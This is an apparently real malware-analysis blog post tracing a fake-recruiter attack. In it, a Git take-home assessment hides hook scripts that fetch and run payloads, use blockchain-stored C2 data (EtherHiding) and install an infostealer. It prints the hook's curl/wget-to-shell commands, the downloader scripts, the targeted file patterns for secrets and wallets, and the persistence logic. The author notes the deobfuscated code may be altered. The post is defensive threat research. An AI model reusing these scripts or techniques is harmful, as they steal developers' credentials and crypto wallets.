The Interview That Wasn’t: Inside a Fake Recruiter Attack That Used Git Hooks and the Blockchain as a C2
It was a quiet Saturday morning.
I got a call from one of our L1 analysts saying multiple alerts had fired on a single endpoint. The analyst had already done the initial triage and walked me through what looked like odd outbound connections and some suspicious process activity.
I had no idea I was about to spend the next few hours of my day pulling apart one of the most layered attack chains I’ve seen — one that used a fake job interview as the lure, Git itself as the delivery mechanism, and the public blockchain as an un-take-down-able command-and-control channel.
This is that investigation, written the way I actually worked through it.
The Lure: A Job Offer That Came With Homework
The story started on LinkedIn. A “recruiter” reached out about a job opportunity, the profile looked legitimate enough and the conversation followed a completely normal recruitment flow. To move forward, the user was asked to complete a small technical assessment.
The “assessment” arrived as a Google Drive link containing two files:
- A PDF with a handful of Git-related interview questions
- A ZIP archive containing a Git repository the candidate was expected to work on
Nothing about this screams malware. That’s exactly the point. Take-home assessments involving a Git repo are completely normal in technical hiring — which is what makes this such an effective initial access vector. The user isn’t being asked to run an unknown .exe, they're being asked to do their job.
The Poisoned Assessment: What Was Hiding in Git Hooks
When I sandboxed the ZIP file, everything looked exactly like a normal repository at first — until I checked the /.git/hooks folder.
For anyone unfamiliar with Git internals, Git hooks are scripts Git automatically runs when you perform certain actions —
commit,push,pre-commit,post-commit,checkout, and so on.
They're a legitimate feature, commonly used to run linters or tests before code gets committed. That legitimacy is exactly what an attacker wants to abuse — because unlike a suspicious attachment, a hook script executes silently the moment the victim does completely ordinary developer work.
Inside /.git/hooks, I found multiple custom scripts. The moment the candidate ran any git command as part of the "assessment," one of these would fire — no double-click, no macro warning, no execution prompt. Just git commit doing what it always does, except this time it also did something else.
Stage 0: The Hook Script
The hook script itself was short, and did exactly one job: figure out what OS it was running on, then fetch and execute the matching payload.
#!/bin/sh
case "$(uname -s)" in
Darwin*) curl -sL 'http://45.XX.XX.XX:8080/task/mac?id=yyy' -L | sh > /dev/null 2>&1 & ;;
Linux*) wget -qO- 'http://45.XX.XX.XX:8080/task/linux?id=yyy' -L | sh > /dev/null 2>&1 & ;;
MINGW*|MSYS*CYGWIN*) curl -sL http://45.61.XX.XX:8080/task/windows?id=yyy -L | cmd > /dev/null 2>&1 & ;;
*) curl -sL 'http://45.XX.XX.XX:8080/task/mac?id=yyy' -L | sh > /dev/null 2>&1 & ;;
esacHere, yyy is a unique victim id used to identify the victim
Simple, cross-platform, and backgrounded with & so nothing visibly hangs the terminal. Classic curl/wget-piped-into-shell — but the fact that it's triggered by a Git hook instead of a phishing attachment is what made this one interesting to me.
Stage 1: Fetching the “Token”
Each OS branch pulled down a small second script and executed it. The naming convention (token.cmd, tokenlinux.sh) and the fake "Authenticated" message printed were clearly designed to look like some kind of licensing or verification step — if the victim happened to glance at a terminal window.
Windows variant:
::@echo off
if exist "%USERPROFILE%\parse" del "%USERPROFILE%\parse"
if exist "%USERPROFILE%\token.cmd" del "%USERPROFILE%\token.cmd"
curl -s -L -o "%USERPROFILE%//parse" "http://45.XX.XX.XX:8080/task/token?id=yyy"
ren "%USERPROFILE%\parse" token.cmd
"%USERPROFILE%\token.cmd"
::clsLinux variant:
#!/bin/bash
set -e
echo "Authenticated"
TARGET_DIR="$HOME/Documents"
clear
wget -q -O "$TARGET_DIR/tokenlinux.npl" "http://45.XX.XX.XX:8080/task/tokenlinux?id=yyy"
clear
mv "$TARGET_DIR/tokenlinux.npl" "$TARGET_DIR/tokenlinux.sh"
clear
chmod +x "$TARGET_DIR/tokenlinux.sh"
clear
nohup bash "$TARGET_DIR/tokenlinux.sh" > /dev/null 2>&1 &
clear
exit 0macOS variant followed the same logic, dropping into $HOME/.task/ instead of Documents.
A pattern worth noting for anyone hunting this in their own environment: the repeated clear calls between steps. It's a small, almost theatrical touch — the malware author clearly cared about a victim not seeing what just happened, even in a terminal window they probably weren't watching anyway.
Every one of these scripts runs its next stage via nohup ... &, detaching it from the parent process so it survives independently and keeps running in the background regardless of whether the terminal is closed.
Stage 2: Building a Node.js Environment for the Real Payload
This is where the “assessment” theme stopped being incidental and started looking deliberate. Once token.cmd / tokenlinux.sh ran, it moved through two sub-stages:
Sub-stage 1 — Environment setup: the script checks whether Node.js is already installed. If not, it silently provisions its own Node.js runtime, pulling it from a remote server — no system-wide install, no prompt, just a private copy of Node sitting inside the malware’s own working directory.
Sub-stage 2 — Payload staging: once a Node runtime exists, the script downloads two files into a newly created .task folder:
File 1: Obfuscated javascript code (/.task/parser.js)
File 2: npm dependency manifest (/.task/package.json)
The package.json alone told me a lot about intent before I'd even touched parser.js:
{
"name": "tokendapp",
"version": "1.0.0",
"devDependencies": {
"hardhat": "^2.20.2"
},
"dependencies": {
"axios": "^1.12.2",
"basic-ftp": "^5.0.5",
"child_process": "^1.0.2",
"clipboardy": "^4.0.0",
"crypto": "^1.0.1",
"execp": "^0.0.1",
"fs": "^0.0.1-security",
"jsonwebtoken": "^9.0.2",
"process": "^0.11.10",
"ps-node": "^0.1.6",
"request": "^2.88.2"
},
"scripts": {
"test": "npx hardhat test",
"deploy": "npx hardhat run scripts/deploy.js"
}
}When checking few of the dependencies randomly clearly showed that these dependency lists are not for legitimate purposes. The dependencies were clipboardy (clipboard access), ps-node (process enumeration), and basic-ftp (exfiltration).
Once both files landed, parser.js was executed with the newly staged Node runtime.
Deobfuscating parser.js — Part 1: Payload Delivery via EtherHiding
parser.js was obfuscated, so I ran it through a deobfuscation pass (with an LLM assisting on pattern recognition) to make sense of it. What came out split cleanly into two halves: a primary delivery mechanism, and a fallback.
The primary mechanism is the part that made me sit up straight — it uses EtherHiding, using the chain itself as an unstoppable C2 channel.
EtherHiding is a technique used for storing and retrieving payload data via transactions on a public blockchain.
Here’s what the hardcoded, XOR-decoded strings inside the script resolved to:
eth_getTransactionByHash BSC RPC methodbsc-dataseed.binance.org BSC RPC endpoint #1 bsc-rpc.publicnode.com BSC RPC endpoint #2 (fallback) http://api.trongrid.io/v1/accounts/ Tron API base path TUS6fj1ZcsZVXXXXXXXH9jY4yqywHaHDm Tron wallet address
The retrieval logic works like this:
- Query the Tron API for the latest confirmed transaction from the hardcoded Tron wallet:
https://api.trongrid.io/v1/accounts/TUS6fj1ZcsZVXXXXXXXH9jY4yqywHaHDm/transactions?only_confirmed=true&only_from=true - The response contains a hex-coded string — not the payload itself, but a pointer to it.
- That hex string is split into two equal halves, the halves are swapped, and the result is hex-decoded — this derives a Binance Smart Chain transaction hash.
- Using that derived hash, the malware calls
eth_getTransactionByHashagainst one of two BSC RPC endpoints (a primary and a fallback, for resilience). - The
inputfield of that BSC transaction contains the encrypted Stage 2 payload. - That input data is decrypted with a custom routine: converted from hex to UTF-8, reversed, then XOR-decrypted using the derived BSC transaction hash itself as the key.
For reference, one of the observed transactions used for this can be inspected on BscScan — this is publicly viewable blockchain data: https://bscscan.com/tx/0xde9fd270617c80fbf93a498b9f26e41fdd1ca7562779e22d9784619cfd507b18
Why this matters:
By hiding payload pointers and decryption material inside blockchain transaction data instead of on infrastructure they own, the attacker makes the C2 effectively un-take-down-able. You can sinkhole
45.XX.XX.XXtoday and it changes nothing — the malware doesn't actually need that server to recover. As long as the Tron wallet and the public BSC RPC endpoints exist (which, practically speaking, means as long as the blockchains themselves exist), the attacker can rotate payloads at will and infected hosts will keep finding them.
Once decrypted, the payload is executed via a fully detached, hidden Node.js child process:
spawn(process.argv[0], ['-e', <payload>], {
detached: true,
stdio: 'pipe',
windowsHide: true
})There’s also a built-in 30-second cooldown between executions — a small detail, but it doubles as both a rate limiter and a lightweight persistence/retry mechanism.
Part 2: The Fallback Payload
The second half of parser.js is what runs if the EtherHiding chain doesn't resolve — a fallback bundle in the same webpack-style, javascript-obfuscator-patterned format seen across a lot of commodity stealer families. This one hides its strings behind an array-shifting technique layered with Base64 and URL decoding — the array has to be rotated 46 times before any of the strings resolve into something readable.
Get Muraleekrishnan Unnithan R’s stories in your inbox
Join Medium for free to get updates from this writer.
Once decoded, the fallback:
- Downloads a payload from
http://147.XX.XX.XX/<filename> - Then multiple stealer activities are observed inlcuding system information checks, clipboard data exfiltration, wallet data exfiltration, etc.
What the Payload Actually Does
Once fully staged, the malware operated across a few distinct, ongoing phases on the compromised host, such as:
- Clipboard Monitoring
- Sensitive File Discovery
- Runtime Malware delivery
- Persistence
1. Clipboard monitoring: The clipboard was polled every 2 seconds for changes, with any new content shipped straight to the C2:
Server 147[.]XX[.]XX[.]XX
Endpoint hxxp[:]//147[.]XX[.]XX[.]XX/api/service/makelog
Victim ID 23d420dba3d2XXXX370cc8fb3a466
Campaign t=XXX
Clipboard hijacking is a well-worn technique for crypto theft specifically — swap or steal a copied wallet address before the victim pastes it — but here it doubles as a general data-exfil channel too.
2. Sensitive File Discovery and Exfiltration: The malware checks for sensitive filesystem and exfiltrates, if any found:
Document Patterns: *.doc, *.docx, *.pdf, *.md, *.rtf, *.odt, *.xls, *.xlsx, *.txt, *.csv
Code / Config Patterns: *.js, *.ts, *.json, *.yml, *.yaml, *.pem, *.ini, *.env*
Crypto wallets Patterns: *metamask*, *bitcoin*, *btc*, *solana*, *secret phrase*, *private key*, *.secret
Shell history Patterns:.zsh_history, .bash_history Images *.png, *.jpg, *.jpeg
Matched files get uploaded here:
Setting Value Server 147[.]XX[.]XX[.]XX Port 7766 Upload Endpoint http://147[.]XX[.]XX[.]XX:7766/upload Process Title npm-compiler (masquerading in process lists) Campaign ID t=xxx Victim UID yyy
That .env and .pem targeting alongside crypto-wallet globs tells you this isn't just after seed phrases — it's after developer secrets and cloud/API credentials too. Given the initial lure was aimed at developers doing a "Git assessment," that's not a coincidence.
3. A self-contained, self-updating runtime. The malware runs on its own bundled Node install (~/.task/node-v20.11.1-darwin-arm64/bin/node in the macOS sample I looked at), completely independent of anything installed on the host. At runtime it:
- Deobfuscates its own embedded config on the fly
- Detects the OS to branch into platform-specific logic
- Talks to the C2 over HTTP/HTTPS and pulls down an encoded config (C2 details, campaign ID, payload metadata, internal variables)
- Downloads a second-stage JS payload and runs it in memory with
eval()
That last point is the important one for defenders — the attacker can hand the malware entirely new capability, live, on an already-compromised host, without ever dropping a new file that a scanner could catch on disk.
4. Persistence. The malware pulls a platform-specific Python package/archive from a Cloudflare R2 bucket (*.r2.dev), extracts it locally, then reaches back out to the C2 for yet another stage — which gets written to disk as ~/.viminf (a nice bit of typosquat-style naming against ~/.viminfo) and launched as a detached Node process, letting it keep running in the background.
It also checks the platform and establishes persistence accordingly: on Windows, it tries adding Run keys in the registry and creating an autostart entry; on Linux and macOS, it uses profile injection instead.
- Check whether
/tmp/PyToolUpdater.pidexists - Verify the recorded PID is still a running process (via
ps) - If it isn’t running: relaunch
~/.viminfin the background withnohup, log to/tmp/PyToolUpdater.log, and record the new PID - If it’s already running: do nothing
So every time the user opens a new shell, the malware checks on itself and restarts if it was killed. Simple, and effective.
Why This One Stood Out to Me
I’ve triaged plenty of phishing-delivered stealers. What made this one worth writing up is how many “boring” trust assumptions it chained together to get from LinkedIn message to fully persistent, self-updating infostealer with an un-take-down-able C2:
- Trust in a recruiting process
- Trust in a Git repository as a benign artifact
- Trust in
.git/hooksas something nobody checks - Trust in a terminal that clears itself before you can read it
- And finally, the technical reality that a public blockchain can’t be sinkholed the way a C2 domain can
None of the individual steps are exotic. It’s the combination, and the choice of EtherHiding for resilience, that made this feel like a step up from the commodity stealer campaigns I usually see land in the queue.
A Note on IOCs
I’ve deliberately kept full indicators out of this write-up for now — for reasons I can’t get into publicly at the moment.
If you’re a defender and need the complete IOC set (C2 infrastructure, hashes, wallet addresses, R2 bucket paths, etc.) for your own detection or threat-hunting work, reach out and I’m happy to share them directly.
In the meantime, the patterns above — .git/hooks scripts fetching remote payloads, followed by unexpected Node runtimes under ~/.task or similar hidden folders, processes titled npm-compiler, and .zprofile/.viminf-style persistence — are worth hunting for regardless of whether you have the raw IOCs in hand.
Closing Thoughts
This was my first time analyzing a malware delivery chain that used the blockchain as its C2. I had read about EtherHiding before, but following the path from a Tron wallet address to a swapped hash, then to a BSC transaction that decrypts into shellcode, showed me a different kind of persistence. There is no domain to take down, no server to seize — just blockchain data that remains publicly available forever.
What stood out most, though, was the Git hook. A .git/hooks folder is easy to miss, often ignored by traditional scanners, and can run automatically when a user performs a normal Git operation. The victim isn’t asked to run a suspicious program. They are simply doing their job.
Next time someone on your team gets a “quick technical assessment” as part of a job process, it might be worth having them check what’s sitting in .git/hooks before they touch anything else.
Thanks for reading — as always, happy to hear thoughts, questions, or if anyone’s run into similar campaigns.
NOTE:
- I used an LLM to assist with the deobfuscation of the payload. Since the payload was heavily obfuscated, the recovery process may have removed or altered small parts of the original payload. I’ve tried to cover as much of the attack flow and its patterns as possible using information gathered from multiple sources, including the deobfuscated payload, logs, and other observed behaviors.
☕️ Grab me a Coffee: https://ko-fi.com/sudocoder








